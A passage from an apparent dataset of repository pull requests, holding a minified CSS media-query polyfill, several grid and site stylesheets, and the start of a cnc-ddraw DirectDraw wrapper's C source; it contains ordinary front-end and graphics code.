XMLHttpRequest();\ntry{\nr.open(\"get\",_d,true);\nr.setRequestHeader(\"X_REQUESTED_WITH\",\"XMLHttpRequest\");\n}\ncatch(e){\n_f();\nreturn;\n}\nvar _10=false;\nsetTimeout(function(){\n_10=true;\n},5000);\ndocument.documentElement.style.cursor=\"progress\";\nr.onreadystatechange=function(){\nif(r.readyState===4&&!_10){\nif(!r.status&&location.protocol===\"file:\"||(r.status>=200&&r.status<300)||r.status===304||navigator.userAgent.indexOf(\"Safari\")>-1&&typeof r.status===\"undefined\"){\n_e(r.responseText);\n}else{\n_f();\n}\ndocument.documentElement.style.cursor=\"\";\nr=null;\n}\n};\nr.send(\"\");\n};\nvar _11=function(_12){\n_12=_12.replace(_3.REDUNDANT_COMPONENTS,\"\");\n_12=_12.replace(_3.REDUNDANT_WHITESPACE,\"$1\");\n_12=_12.replace(_3.MORE_WHITESPACE,\" \");\n_12=_12.replace(_3.FINAL_SEMICOLONS,\"}\");\nreturn _12;\n};\nvar _13={mediaQueryList:function(s){\nvar o={};\nvar idx=s.indexOf(\"{\");\nvar lt=s.substring(0,idx);\ns=s.substring(idx+1,s.length-1);\nvar mqs=[],rs=[];\nvar qts=lt.toLowerCase().substring(7).split(\",\");\nfor(var i=0;i<qts.length;i++){\nmqs[mqs.length]=_13.mediaQuery(qts[i],o);\n}\nvar rts=s.match(_3.BLOCKS_INSIDE);\nif(rts!==null){\nfor(i=0;i<rts.length;i++){\nrs[rs.length]=_13.rule(rts[i],o);\n}\n}\no.getMediaQueries=function(){\nreturn mqs;\n};\no.getRules=function(){\nreturn rs;\n};\no.getListText=function(){\nreturn lt;\n};\no.getCssText=function(){\nreturn s;\n};\nreturn o;\n},mediaQuery:function(s,mql){\ns=s||\"\";\nvar not=false,_14;\nvar exp=[];\nvar _15=true;\nvar _16=s.match(_3.NOT_WHITESPACE);\nfor(var i=0;i<_16.length;i++){\nvar _17=_16[i];\nif(!_14&&(_17===\"not\"||_17===\"only\")){\nif(_17===\"not\"){\nnot=true;\n}\n}else{\nif(!_14){\n_14=_17;\n}else{\nif(_17.charAt(0)===\"(\"){\nvar _18=_17.substring(1,_17.length-1).split(\":\");\nexp[exp.length]={mediaFeature:_18[0],value:_18[1]||null};\n}\n}\n}\n}\nreturn {getList:function(){\nreturn mql||null;\n},getValid:function(){\nreturn _15;\n},getNot:function(){\nreturn not;\n},getMediaType:function(){\nreturn _14;\n},getExpressions:function(){\nreturn exp;\n}};\n},rule:function(s,mql){\nvar o={};\nvar idx=s.indexOf(\"{\");\nvar st=s.substring(0,idx);\nvar ss=st.split(\",\");\nvar ds=[];\nvar dts=s.substring(idx+1,s.length-1).split(\";\");\nfor(var i=0;i<dts.length;i++){\nds[ds.length]=_13.declaration(dts[i],o);\n}\no.getMediaQueryList=function(){\nreturn mql||null;\n};\no.getSelectors=function(){\nreturn ss;\n};\no.getSelectorText=function(){\nreturn st;\n};\no.getDeclarations=function(){\nreturn ds;\n};\no.getPropertyValue=function(n){\nfor(var i=0;i<ds.length;i++){\nif(ds[i].getProperty()===n){\nreturn ds[i].getValue();\n}\n}\nreturn null;\n};\nreturn o;\n},declaration:function(s,r){\nvar idx=s.indexOf(\":\");\nvar p=s.substring(0,idx);\nvar v=s.substring(idx+1);\nreturn {getRule:function(){\nreturn r||null;\n},getProperty:function(){\nreturn p;\n},getValue:function(){\nreturn v;\n}};\n}};\nvar _19=function(el){\nif(typeof el.cssHelperText!==\"string\"){\nreturn;\n}\nvar o={mediaQueryLists:[],rules:[],selectors:{},declarations:[],properties:{}};\nvar _1a=o.mediaQueryLists;\nvar ors=o.rules;\nvar _1b=el.cssHelperText.match(_3.BLOCKS);\nif(_1b!==null){\nfor(var i=0;i<_1b.length;i++){\nif(_1b[i].substring(0,7)===\"@media \"){\n_1a[_1a.length]=_13.mediaQueryList(_1b[i]);\nors=o.rules=ors.concat(_1a[_1a.length-1].getRules());\n}else{\nors[ors.length]=_13.rule(_1b[i]);\n}\n}\n}\nvar oss=o.selectors;\nvar _1c=function(r){\nvar ss=r.getSelectors();\nfor(var i=0;i<ss.length;i++){\nvar n=ss[i];\nif(!oss[n]){\noss[n]=[];\n}\noss[n][oss[n].length]=r;\n}\n};\nfor(i=0;i<ors.length;i++){\n_1c(ors[i]);\n}\nvar ods=o.declarations;\nfor(i=0;i<ors.length;i++){\nods=o.declarations=ods.concat(ors[i].getDeclarations());\n}\nvar ops=o.properties;\nfor(i=0;i<ods.length;i++){\nvar n=ods[i].getProperty();\nif(!ops[n]){\nops[n]=[];\n}\nops[n][ops[n].length]=ods[i];\n}\nel.cssHelperParsed=o;\n_4[_4.length]=el;\nreturn o;\n};\nvar _1d=function(el,s){\nel.cssHelperText=_11(s||el.innerHTML);\nreturn _19(el);\n};\nvar _1e=function(){\n_5=true;\n_4=[];\nvar _1f=[];\nvar _20=function(){\nfor(var i=0;i<_1f.length;i++){\n_19(_1f[i]);\n}\nvar _21=document.getElementsByTagName(\"style\");\nfor(i=0;i<_21.length;i++){\n_1d(_21[i]);\n}\n_5=false;\n_8();\n};\nvar _22=document.getElementsByTagName(\"link\");\nfor(var i=0;i<_22.length;i++){\nvar _23=_22[i];\nif(_23.getAttribute(\"rel\").indexOf(\"style\")>-1&&_23.href&&_23.href.length!==0&&!_23.disabled){\n_1f[_1f.length]=_23;\n}\n}\nif(_1f.length>0){\nvar c=0;\nvar _24=function(){\nc++;\nif(c===_1f.length){\n_20();\n}\n};\nvar _25=function(_26){\nvar _27=_26.href;\n_c(_27,function(_28){\n_28=_11(_28).replace(_3.RELATIVE_URLS,\"url(\"+_27.substring(0,_27.lastIndexOf(\"/\"))+\"/$1)\");\n_26.cssHelperText=_28;\n_24();\n},_24);\n};\nfor(i=0;i<_1f.length;i++){\n_25(_1f[i]);\n}\n}else{\n_20();\n}\n};\nvar _29={mediaQueryLists:\"array\",rules:\"array\",selectors:\"object\",declarations:\"array\",properties:\"object\"};\nvar _2a={mediaQueryLists:null,rules:null,selectors:null,declarations:null,properties:null};\nvar _2b=function(_2c,v){\nif(_2a[_2c]!==null){\nif(_29[_2c]===\"array\"){\nreturn (_2a[_2c]=_2a[_2c].concat(v));\n}else{\nvar c=_2a[_2c];\nfor(var n in v){\nif(v.hasOwnProperty(n)){\nif(!c[n]){\nc[n]=v[n];\n}else{\nc[n]=c[n].concat(v[n]);\n}\n}\n}\nreturn c;\n}\n}\n};\nvar _2d=function(_2e){\n_2a[_2e]=(_29[_2e]===\"array\")?[]:{};\nfor(var i=0;i<_4.length;i++){\n_2b(_2e,_4[i].cssHelperParsed[_2e]);\n}\nreturn _2a[_2e];\n};\ndomReady(function(){\nvar els=document.body.getElementsByTagName(\"*\");\nfor(var i=0;i<els.length;i++){\nels[i].checkedByCssHelper=true;\n}\nif(document.implementation.hasFeature(\"MutationEvents\",\"2.0\")||window.MutationEvent){\ndocument.body.addEventListener(\"DOMNodeInserted\",function(e){\nvar el=e.target;\nif(el.nodeType===1){\n_a(\"DOMElementInserted\",el);\nel.checkedByCssHelper=true;\n}\n},false);\n}else{\nsetInterval(function(){\nvar els=document.body.getElementsByTagName(\"*\");\nfor(var i=0;i<els.length;i++){\nif(!els[i].checkedByCssHelper){\n_a(\"DOMElementInserted\",els[i]);\nels[i].checkedByCssHelper=true;\n}\n}\n},1000);\n}\n});\nvar _2f=function(d){\nif(typeof window.innerWidth!=\"undefined\"){\nreturn window[\"inner\"+d];\n}else{\nif(typeof document.documentElement!=\"undefined\"&&typeof document.documentElement.clientWidth!=\"undefined\"&&document.documentElement.clientWidth!=0){\nreturn document.documentElement[\"client\"+d];\n}\n}\n};\nreturn {addStyle:function(s,_30){\nvar el=document.createElement(\"style\");\nel.setAttribute(\"type\",\"text/css\");\ndocument.getElementsByTagName(\"head\")[0].appendChild(el);\nif(el.styleSheet){\nel.styleSheet.cssText=s;\n}else{\nel.appendChild(document.createTextNode(s));\n}\nel.addedWithCssHelper=true;\nif(typeof _30===\"undefined\"||_30===true){\ncssHelper.parsed(function(_31){\nvar o=_1d(el,s);\nfor(var n in o){\nif(o.hasOwnProperty(n)){\n_2b(n,o[n]);\n}\n}\n_a(\"newStyleParsed\",el);\n});\n}else{\nel.parsingDisallowed=true;\n}\nreturn el;\n},removeStyle:function(el){\nreturn el.parentNode.removeChild(el);\n},parsed:function(fn){\nif(_5){\n_7(fn);\n}else{\nif(typeof _4!==\"undefined\"){\nif(typeof fn===\"function\"){\nfn(_4);\n}\n}else{\n_7(fn);\n_1e();\n}\n}\n},mediaQueryLists:function(fn){\ncssHelper.parsed(function(_32){\nfn(_2a.mediaQueryLists||_2d(\"mediaQueryLists\"));\n});\n},rules:function(fn){\ncssHelper.parsed(function(_33){\nfn(_2a.rules||_2d(\"rules\"));\n});\n},selectors:function(fn){\ncssHelper.parsed(function(_34){\nfn(_2a.selectors||_2d(\"selectors\"));\n});\n},declarations:function(fn){\ncssHelper.parsed(function(_35){\nfn(_2a.declarations||_2d(\"declarations\"));\n});\n},properties:function(fn){\ncssHelper.parsed(function(_36){\nfn(_2a.properties||_2d(\"properties\"));\n});\n},broadcast:_a,addListener:function(n,fn){\nif(typeof fn===\"function\"){\nif(!_9[n]){\n_9[n]={listeners:[]};\n}\n_9[n].listeners[_9[n].listeners.length]=fn;\n}\n},removeListener:function(n,fn){\nif(typeof fn===\"function\"&&_9[n]){\nvar ls=_9[n].listeners;\nfor(var i=0;i<ls.length;i++){\nif(ls[i]===fn){\nls.splice(i,1);\ni-=1;\n}\n}\n}\n},getViewportWidth:function(){\nreturn _2f(\"Width\");\n},getViewportHeight:function(){\nreturn _2f(\"Height\");\n}};\n}();\ndomReady(function enableCssMediaQueries(){\nvar _37;\nvar _38={LENGTH_UNIT:/[0-9]+(em|ex|px|in|cm|mm|pt|pc)$/,RESOLUTION_UNIT:/[0-9]+(dpi|dpcm)$/,ASPECT_RATIO:/^[0-9]+\\/[0-9]+$/,ABSOLUTE_VALUE:/^[0-9]*(\\.[0-9]+)*$/};\nvar _39=[];\nvar _3a=function(){\nvar id=\"css3-mediaqueries-test\";\nvar el=document.createElement(\"div\");\nel.id=id;\nvar _3b=cssHelper.addStyle(\"@media all and (width) { #\"+id+\" { width: 1px !important; } }\",false);\ndocument.body.appendChild(el);\nvar ret=el.offsetWidth===1;\n_3b.parentNode.removeChild(_3b);\nel.parentNode.removeChild(el);\n_3a=function(){\nreturn ret;\n};\nreturn ret;\n};\nvar _3c=function(){\n_37=document.createElement(\"div\");\n_37.style.cssText=\"position:absolute;top:-9999em;left:-9999em;\"+\"margin:0;border:none;padding:0;width:1em;font-size:1em;\";\ndocument.body.appendChild(_37);\nif(_37.offsetWidth!==16){\n_37.style.fontSize=16/_37.offsetWidth+\"em\";\n}\n_37.style.width=\"\";\n};\nvar _3d=function(_3e){\n_37.style.width=_3e;\nvar _3f=_37.offsetWidth;\n_37.style.width=\"\";\nreturn _3f;\n};\nvar _40=function(_41,_42){\nvar l=_41.length;\nvar min=(_41.substring(0,4)===\"min-\");\nvar max=(!min&&_41.substring(0,4)===\"max-\");\nif(_42!==null){\nvar _43;\nvar _44;\nif(_38.LENGTH_UNIT.exec(_42)){\n_43=\"length\";\n_44=_3d(_42);\n}else{\nif(_38.RESOLUTION_UNIT.exec(_42)){\n_43=\"resolution\";\n_44=parseInt(_42,10);\nvar _45=_42.substring((_44+\"\").length);\n}else{\nif(_38.ASPECT_RATIO.exec(_42)){\n_43=\"aspect-ratio\";\n_44=_42.split(\"/\");\n}else{\nif(_38.ABSOLUTE_VALUE){\n_43=\"absolute\";\n_44=_42;\n}else{\n_43=\"unknown\";\n}\n}\n}\n}\n}\nvar _46,_47;\nif(\"device-width\"===_41.substring(l-12,l)){\n_46=screen.width;\nif(_42!==null){\nif(_43===\"length\"){\nreturn ((min&&_46>=_44)||(max&&_46<_44)||(!min&&!max&&_46===_44));\n}else{\nreturn false;\n}\n}else{\nreturn _46>0;\n}\n}else{\nif(\"device-height\"===_41.substring(l-13,l)){\n_47=screen.height;\nif(_42!==null){\nif(_43===\"length\"){\nreturn ((min&&_47>=_44)||(max&&_47<_44)||(!min&&!max&&_47===_44));\n}else{\nreturn false;\n}\n}else{\nreturn _47>0;\n}\n}else{\nif(\"width\"===_41.substring(l-5,l)){\n_46=document.documentElement.clientWidth||document.body.clientWidth;\nif(_42!==null){\nif(_43===\"length\"){\nreturn ((min&&_46>=_44)||(max&&_46<_44)||(!min&&!max&&_46===_44));\n}else{\nreturn false;\n}\n}else{\nreturn _46>0;\n}\n}else{\nif(\"height\"===_41.substring(l-6,l)){\n_47=document.documentElement.clientHeight||document.body.clientHeight;\nif(_42!==null){\nif(_43===\"length\"){\nreturn ((min&&_47>=_44)||(max&&_47<_44)||(!min&&!max&&_47===_44));\n}else{\nreturn false;\n}\n}else{\nreturn _47>0;\n}\n}else{\nif(\"device-aspect-ratio\"===_41.substring(l-19,l)){\nreturn _43===\"aspect-ratio\"&&screen.width*_44[1]===screen.height*_44[0];\n}else{\nif(\"color-index\"===_41.substring(l-11,l)){\nvar _48=Math.pow(2,screen.colorDepth);\nif(_42!==null){\nif(_43===\"absolute\"){\nreturn ((min&&_48>=_44)||(max&&_48<_44)||(!min&&!max&&_48===_44));\n}else{\nreturn false;\n}\n}else{\nreturn _48>0;\n}\n}else{\nif(\"color\"===_41.substring(l-5,l)){\nvar _49=screen.colorDepth;\nif(_42!==null){\nif(_43===\"absolute\"){\nreturn ((min&&_49>=_44)||(max&&_49<_44)||(!min&&!max&&_49===_44));\n}else{\nreturn false;\n}\n}else{\nreturn _49>0;\n}\n}else{\nif(\"resolution\"===_41.substring(l-10,l)){\nvar res;\nif(_45===\"dpcm\"){\nres=_3d(\"1cm\");\n}else{\nres=_3d(\"1in\");\n}\nif(_42!==null){\nif(_43===\"resolution\"){\nreturn ((min&&res>=_44)||(max&&res<_44)||(!min&&!max&&res===_44));\n}else{\nreturn false;\n}\n}else{\nreturn res>0;\n}\n}else{\nreturn false;\n}\n}\n}\n}\n}\n}\n}\n}\n};\nvar _4a=function(mq){\nvar _4b=mq.getValid();\nvar _4c=mq.getExpressions();\nvar l=_4c.length;\nif(l>0){\nfor(var i=0;i<l&&_4b;i++){\n_4b=_40(_4c[i].mediaFeature,_4c[i].value);\n}\nvar not=mq.getNot();\nreturn (_4b&&!not||not&&!_4b);\n}\n};\nvar _4d=function(mql){\nvar mqs=mql.getMediaQueries();\nvar t={};\nfor(var i=0;i<mqs.length;i++){\nif(_4a(mqs[i])){\nt[mqs[i].getMediaType()]=true;\n}\n}\nvar s=[],c=0;\nfor(var n in t){\nif(t.hasOwnProperty(n)){\nif(c>0){\ns[c++]=\",\";\n}\ns[c++]=n;\n}\n}\nif(s.length>0){\n_39[_39.length]=cssHelper.addStyle(\"@media \"+s.join(\"\")+\"{\"+mql.getCssText()+\"}\",false);\n}\n};\nvar _4e=function(_4f){\nfor(var i=0;i<_4f.length;i++){\n_4d(_4f[i]);\n}\nif(ua.ie){\ndocument.documentElement.style.display=\"block\";\nsetTimeout(function(){\ndocument.documentElement.style.display=\"\";\n},0);\nsetTimeout(function(){\ncssHelper.broadcast(\"cssMediaQueriesTested\");\n},100);\n}else{\ncssHelper.broadcast(\"cssMediaQueriesTested\");\n}\n};\nvar _50=function(){\nfor(var i=0;i<_39.length;i++){\ncssHelper.removeStyle(_39[i]);\n}\n_39=[];\ncssHelper.mediaQueryLists(_4e);\n};\nvar _51=0;\nvar _52=function(){\nvar _53=cssHelper.getViewportWidth();\nvar _54=cssHelper.getViewportHeight();\nif(ua.ie){\nvar el=document.createElement(\"div\");\nel.style.position=\"absolute\";\nel.style.top=\"-9999em\";\nel.style.overflow=\"scroll\";\ndocument.body.appendChild(el);\n_51=el.offsetWidth-el.clientWidth;\ndocument.body.removeChild(el);\n}\nvar _55;\nvar _56=function(){\nvar vpw=cssHelper.getViewportWidth();\nvar vph=cssHelper.getViewportHeight();\nif(Math.abs(vpw-_53)>_51||Math.abs(vph-_54)>_51){\n_53=vpw;\n_54=vph;\nclearTimeout(_55);\n_55=setTimeout(function(){\nif(!_3a()){\n_50();\n}else{\ncssHelper.broadcast(\"cssMediaQueriesTested\");\n}\n},500);\n}\n};\nwindow.onresize=function(){\nvar x=window.onresize||function(){\n};\nreturn function(){\nx();\n_56();\n};\n}();\n};\nvar _57=document.documentElement;\n_57.style.marginLeft=\"-32767px\";\nsetTimeout(function(){\n_57.style.marginTop=\"\";\n},20000);\nreturn function(){\nif(!_3a()){\ncssHelper.addListener(\"newStyleParsed\",function(el){\n_4e(el.cssHelperParsed.mediaQueryLists);\n});\ncssHelper.addListener(\"cssMediaQueriesTested\",function(){\nif(ua.ie){\n_57.style.width=\"1px\";\n}\nsetTimeout(function(){\n_57.style.width=\"\";\n_57.style.marginLeft=\"\";\n},0);\ncssHelper.removeListener(\"cssMediaQueriesTested\",arguments.callee);\n});\n_3c();\n_50();\n}else{\n_57.style.marginLeft=\"\";\n}\n_52();\n};\n}());\ntry{\ndocument.execCommand(\"BackgroundImageCache\",false,true);\n}\ncatch(e){\n}\n\r\n", "public/stylesheets/1140.css": "/* CSS Resets */\n\nhtml,body,div,span,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,address,cite,code,del,dfn,em,img,ins,q,small,strong,sub,sup,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td{border:0;margin:0;padding:0}article,aside,figure,figure img,figcaption,hgroup,footer,header,nav,section,video,object{display:block}a img{border:0}figure{position:relative}figure img{width:100%}\n\n\n/* ==================================================================================================================== */\n/* ! The 1140px Grid V2 by Andy Taylor \\ http://cssgrid.net \\ http://www.twitter.com/andytlr \\ http://www.andytlr.com   */\n/* ==================================================================================================================== */\n\n.container {\npadding-left: 20px;\npadding-right: 20px;\n}\n\n.row {\nwidth: 100%;\nmax-width: 1140px;\nmin-width: 755px;\nmargin: 0 auto;\noverflow: hidden;\n}\n\n.onecol, .twocol, .threecol, .fourcol, .fivecol, .sixcol, .sevencol, .eightcol, .ninecol, .tencol, .elevencol {\nmargin-right: 3.8%;\nfloat: left;\nmin-height: 1px;\n}\n\n.row .onecol {\nwidth: 4.85%;\n}\n\n.row .twocol {\nwidth: 13.45%;\n}\n\n.row .threecol {\nwidth: 22.05%;\n}\n\n.row .fourcol {\nwidth: 30.75%;\n}\n\n.row .fivecol {\nwidth: 39.45%;\n}\n\n.row .sixcol {\nwidth: 48%;\n}\n\n.row .sevencol {\nwidth: 56.75%;\n}\n\n.row .eightcol {\nwidth: 65.4%;\n}\n\n.row .ninecol {\nwidth: 74.05%;\n}\n\n.row .tencol {\nwidth: 82.7%;\n}\n\n.row .elevencol {\nwidth: 91.35%;\n}\n\n.row .twelvecol {\nwidth: 100%;\nfloat: left;\n}\n\n.last {\nmargin-right: 0px;\n}\n\nimg, object, embed {\nmax-width: 100%;\n}\n\nimg {\n\theight: auto;\n}\n\n\n/* Smaller screens */\n\n@media only screen and (max-width: 1023px) {\n\n\tbody {\n\tfont-size: 0.8em;\n\tline-height: 1.5em;\n\t}\n\t\n\t}\n\n\n/* Mobile */\n\n@media handheld, only screen and (max-width: 767px) {\n\n\tbody {\n\tfont-size: 16px;\n\t-webkit-text-size-adjust: none;\n\t}\n\t\n\t.row, body, .container {\n\twidth: 100%;\n\tmin-width: 0;\n\tmargin-left: 0px;\n\tmargin-right: 0px;\n\tpadding-left: 0px;\n\tpadding-right: 0px;\n\t}\n\t\n\t.row .onecol, .row .twocol, .row .threecol, .row .fourcol, .row .fivecol, .row .sixcol, .row .sevencol, .row .eightcol, .row .ninecol, .row .tencol, .row .elevencol, .row .twelvecol {\n\twidth: auto;\n\tfloat: none;\n\tmargin-left: 0px;\n\tmargin-right: 0px;\n\tpadding-left: 20px;\n\tpadding-right: 20px;\n\t}\n\n}", "public/stylesheets/grid-styles.css": "/* ============================== */\n/* ! Layout for desktop version   */\n/* ============================== */\n\n\tbody {\n\t\t\n\t}\n\t\n\n/* ============================= */\n/* ! Layout for mobile version   */\n/* ============================= */\n\n@media handheld, only screen and (max-width: 767px) {\n\n\tbody {\n\t\t\n\t}\n\n}\n\n\n/* ========================================== */\n/* ! Provide higher res assets for iPhone 4   */\n/* ========================================== */\n\n@media only screen and (-webkit-min-device-pixel-ratio: 2) { \n\n/*\t.logo {\n\t\tbackground: url(logo2x.jpg) no-repeat;\n\t\tbackground-size: 212px 303px;\n\t}*/\n\n}", "public/stylesheets/ie.css": ".onecol {\nwidth: 4.7%;\n}\n\n.twocol {\nwidth: 13.2%;\n}\n\n.threecol {\nwidth: 22.05%;\n}\n\n.fourcol {\nwidth: 30.6%;\n}\n\n.fivecol {\nwidth: 39%;\n}\n\n.sixcol {\nwidth: 48%;\n}\n\n.sevencol {\nwidth: 56.75%;\n}\n\n.eightcol {\nwidth: 61.6%;\n}\n\n.ninecol {\nwidth: 74.05%;\n}\n\n.tencol {\nwidth: 82%;\n}\n\n.elevencol {\nwidth: 91.35%;\n}", "public/stylesheets/styles.css": ".clear {\n  clear: both; }\n\n#wrapper {\n  width: 1024px;\n  margin: 50px auto; }\n\nhr {\n  border-bottom: #e6e5e5;\n  opacity: 0.3; }\n\nh1, h2, h3, h4, p, a, li {\n  font-family: \"HelveticaNeue-Light\", \"Helvetica Neue Light\", \"Helvetica Neue\", Helvetica, Arial, \"Lucida Grande\", sans-serif;\n  font-weight: 100;\n  color: #282827; }\n\nh1 {\n  font-size: 6em;\n  letter-spacing: -6px;\n  line-height: 0.95em;\n  margin: 10px 0;\n  color: black; }\n\nh2 {\n  font-size: 4em;\n  letter-spacing: -4px;\n  line-height: 0.85em; }\n\nh3 {\n  font-size: 3em;\n  letter-spacing: -3px;\n  line-height: 0.85em;\n  margin: 10px 0 20px 0; }\n\nh4 {\n  font-size: 2em;\n  letter-spacing: -0.5px;\n  line-height: 0.85em;\n  margin: 10px 0 20px 0; }\n\np, a, li {\n  font-size: 1.2em; }\n\na {\n  color: #fc5401; }\n  a:hover {\n    color: #282827; }\n\nli {\n  line-height: 30px; }\n\n.button.orange {\n  border: 1px solid #fc5401;\n  -webkit-border-radius: 4px;\n  border-radius: 4px;\n  float: left;\n  color: white;\n  padding: 10px 20px;\n  box-shadow: 0 3px 2px -2px gray;\n  margin: 20px 0;\n  background: #e37600;\n  /* for non-css3 browsers */\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#e37600', endColorstr='#fc5401');\n  /* for IE */\n  background: -webkit-gradient(linear, left top, left bottom, from(#e37600), to(#fc5401));\n  /* for webkit browsers */\n  background: -moz-linear-gradient(top, #e37600, #fc5401);\n  /* for firefox 3.6+ */\n  border: 1px solid #fc5401; }\n  .button.orange a {\n    text-decoration: none; }\n  .button.orange p {\n    margin: 0;\n    font-size: 1em;\n    color: white; }\n  .button.orange:hover {\n    background: #fc5401;\n    /* for non-css3 browsers */\n    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fc5401', endColorstr='#e37600');\n    /* for IE */\n    background: -webkit-gradient(linear, left top, left bottom, from(#fc5401), to(#e37600));\n    /* for webkit browsers */\n    background: -moz-linear-gradient(top, #fc5401, #e37600);\n    /* for firefox 3.6+ */\n    border: 1px solid #fc5401; }\n\n.title {\n  width: 100%;\n  border-bottom: 3px solid black;\n  margin: 0 0 40px 0; }\n\n.twocolumn {\n  width: 50%;\n  float: left;\n  margin: 0 0 50px 0; }\n\nform {\n  width: 100%;\n  padding: 10px;\n  background: white;\n  /* for non-css3 browsers */\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='$white', endColorstr='$lightgrey');\n  /* for IE */\n  background: -webkit-gradient(linear, left top, left bottom, from(white), to(#e6e5e5));\n  /* for webkit browsers */\n  background: -moz-linear-gradient(top, white, #e6e5e5);\n  /* for firefox 3.6+ */\n  border: 1px solid #e6e5e5;\n  position: relative;\n  margin: 20px 0 50px 0; }\n\nform:before, form:after {\n  content: \"\";\n  position: absolute;\n  z-index: -1;\n  bottom: 8px;\n  left: 10px;\n  width: 60%;\n  height: 20%;\n  max-width: 300px;\n  -webkit-box-shadow: 0 10px 10px rgba(0, 0, 0, 0.5);\n  -moz-box-shadow: 0 10px 10px rgba(0, 0, 0, 0.5);\n  box-shadow: 0 10px 10px rgba(0, 0, 0, 0.5);\n  -webkit-transform: rotate(-3deg);\n  -moz-transform: rotate(-3deg);\n  -o-transform: rotate(-3deg);\n  transform: rotate(-3deg); }\n\nform:after {\n  right: 10px;\n  left: auto;\n  -webkit-transform: rotate(3deg);\n  -moz-transform: rotate(3deg);\n  -o-transform: rotate(3deg);\n  transform: rotate(3deg); }\n\ninput, textarea, select {\n  width: 95%;\n  border: 1px solid #e6e5e5;\n  height: 35px;\n  padding: 5px 10px;\n  margin: 0 0 10px 0;\n  font-family: \"HelveticaNeue-Light\", \"Helvetica Neue Light\", \"Helvetica Neue\", Helvetica, Arial, \"Lucida Grande\", sans-serif;\n  font-size: 18px;\n  color: #959494; }\n\nselect {\n  width: 99%;\n  height: 40px;\n  font-size: 1.2em; }\n\ntextarea {\n  height: 100px; }\n\nlabel.label_input {\n  width: 95%;\n  position: absolute;\n  top: 1px;\n  right: 1px;\n  bottom: 1px;\n  left: 2px;\n  z-index: 1;\n  padding: 13px 3px 13px 10px;\n  line-height: 20px;\n  white-space: nowrap;\n  cursor: text;\n  display: block;\n  font-size: 1.1em;\n  font-family: \"HelveticaNeue-Light\", \"Helvetica Neue Light\", \"Helvetica Neue\", Helvetica, Arial, \"Lucida Grande\", sans-serif;\n  color: #959494; }\n\nlabel {\n  font-size: 1.2em;\n  font-family: \"HelveticaNeue-Light\", \"Helvetica Neue Light\", \"Helvetica Neue\", Helvetica, Arial, \"Lucida Grande\", sans-serif;\n  color: #959494;\n  float: left; }\n\n.input-placeholder {\n  position: relative; }\n\n.button.orange.send {\n  width: 30%;\n  margin: 10px 0 10px 150px;\n  line-height: 0;\n  letter-spacing: 0; }\n\n.boxui.header, .boxui.box {\n  width: 100%;\n  -webkit-border-radius: 4px 4px 0 0;\n  border-radius: 4px 4px 0 0;\n  background: white;\n  border: 1px solid #e6e5e5;\n  margin: 40px 0 0 0;\n  background: white;\n  /* for non-css3 browsers */\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='$white', endColorstr='$lightgrey');\n  /* for IE */\n  background: -webkit-gradient(linear, left top, left bottom, from(white), to(#e6e5e5));\n  /* for webkit browsers */\n  background: -moz-linear-gradient(top, white, #e6e5e5);\n  /* for firefox 3.6+ */\n  padding: 10px; }\n  .boxui.header p, .boxui.box p {\n    margin: 0; }\n\n.boxui.box {\n  -webkit-border-radius: 0 0 4px 4px;\n  border-radius: 0 0 4px 4px;\n  margin: 0;\n  background: white; }\n\nlabel, select {\n  font-size: 1.1em; }\n\n.radio {\n  width: 5%;\n  float: left;\n  height: 22px; }\n\n.container p {\n  color: #fff;\n  line-height: 100px;\n  background: #000;\n  text-align: center;\n  margin: 20px 0 0 0; }\n"}}
{"repo": "hifi/cnc-ddraw", "pr_number": 5, "title": "Merged improvements by others", "state": "open", "merged_at": null, "additions": 6498, "deletions": 54, "files_changed": ["main.c", "render.c", "render_soft.c"], "files_before": {"main.c": "/*\n * Copyright (c) 2010 Toni Spets <toni.spets@iki.fi>\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n */\n\n#include <windows.h>\n#include <windowsx.h>\n#include <stdio.h>\n#include <ctype.h>\n#include \"ddraw.h\"\n\n#include \"main.h\"\n#include \"palette.h\"\n#include \"surface.h\"\n#include \"clipper.h\"\n\n/* from mouse.c */\nBOOL WINAPI fake_GetCursorPos(LPPOINT lpPoint);\nvoid mouse_init(HWND);\nvoid mouse_lock();\nvoid mouse_unlock();\n\n/* from screenshot.c */\n#ifdef HAVE_LIBPNG\nBOOL screenshot(struct IDirectDrawSurfaceImpl *);\n#endif\n\nIDirectDrawImpl *ddraw = NULL;\n\nDWORD WINAPI render_main(void);\nDWORD WINAPI render_soft_main(void);\nDWORD WINAPI render_dummy_main(void);\n\nHRESULT __stdcall ddraw_Compact(IDirectDrawImpl *This)\n{\n    printf(\"DirectDraw::Compact(This=%p)\\n\", This);\n\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_DuplicateSurface(IDirectDrawImpl *This, LPDIRECTDRAWSURFACE src, LPDIRECTDRAWSURFACE *dest)\n{\n    printf(\"DirectDraw::DuplicateSurface(This=%p, ...)\\n\", This);\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_EnumDisplayModes(IDirectDrawImpl *This, DWORD a, LPDDSURFACEDESC b, LPVOID c, LPDDENUMMODESCALLBACK d)\n{\n    printf(\"DirectDraw::EnumDisplayModes(This=%p, ...)\\n\", This);\n    return DD_OK;\n}\n\nHRESULT __stdcall ddraw_EnumSurfaces(IDirectDrawImpl *This, DWORD a, LPDDSURFACEDESC b, LPVOID c, LPDDENUMSURFACESCALLBACK d)\n{\n    